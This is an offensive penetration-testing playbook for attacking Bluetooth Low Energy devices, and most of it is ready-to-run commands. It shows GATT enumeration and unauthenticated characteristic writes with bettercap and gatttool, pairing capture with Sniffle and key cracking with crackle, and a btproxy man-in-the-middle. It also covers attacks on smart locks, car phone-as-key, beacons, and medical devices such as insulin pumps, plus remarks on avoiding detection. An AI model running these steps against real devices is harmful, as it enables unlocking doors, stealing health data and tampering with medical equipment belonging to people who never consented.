offensive-bluetooth-ble

Bluetooth Low Energy (BLE) Attacks

BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.

Quick Workflow

1. Discover and enumerate the device's GATT tree
2. Test every characteristic for read/write/notify without authentication
3. Inspect pairing method — Just Works = no MITM protection
4. If Just Works, MITM the pairing to capture / inject
5. Reverse the companion app for proprietary command formats

Discovery + GATT Enumeration

# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"

# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"

# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes

# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary           # list services
> char-desc         # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.

Characteristic Auth-Free Read/Write

Test every characteristic flagged read/write/notify:

# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
  echo "=== Handle $h ==="
  gatttool -b <MAC> --char-read --handle=$h
done

# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01

Common findings on consumer BLE devices:

• Door locks: unlock characteristic accepts any write (no auth)
• Smart bulbs: brightness/color writeable from any peer
• Wearables: PIN/lock-state readable
• BLE beacons: configurable from any peer (rebrand attacks)

Pairing Method Identification

# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works

| Method | Security | Attack | |---|---|---| | Just Works | None — authenticates anything | Trivial MITM during pairing | | Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong | | Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants | | Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |

LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.

Sniffing the Pairing Exchange

# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap

# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap

# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks

For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."

Active MITM During Pairing

# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py

If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.

Companion App Reverse Engineering

For vendor-defined characteristics, the format is in the app:

# Pull APK
adb pull /data/app/com.vendor.app/base.apk

# Decompile
jadx -d app_src base.apk

# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/

# Look at the bytes the app writes vs. observed in-air values

Hand off to offensive-mobile for deeper companion analysis.

Specific Device Classes

Smart Locks

• Test unlock characteristic for unauth write
• Test if rolling token is replayable (capture-and-replay within window)
• Check for hardcoded LTK in firmware (chip-off + binary analysis — see offensive-iot)

Cars (BLE Phone-as-Key)

• Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
• Pairing-state machine flaws

Medical Devices

• Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
• Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)

Beacons (iBeacon, Eddystone)

• Often configurable with default password (0000, 12345678, vendor-specific)
• Rebrand for tracking-confusion or counter-marketing

Detection Considerations

• BLE has no native intrusion detection comparable to Wi-Fi WIDS
• Vendor cloud may detect anomalous characteristic patterns (rare)
• Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion

Engagement Cheatsheet

# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"

# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"

# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done

# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>

# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap

# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk

Key References

• Sniffle: github.com/nccgroup/Sniffle
• crackle: github.com/mikeryan/crackle
• bettercap BLE module: bettercap.org
• Bluetooth Core Spec 5.x — Volume 3 (Host) for GATT/SMP
• "Bluetooth Low Energy Hacking" (Cap Gemini, NCC research)
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md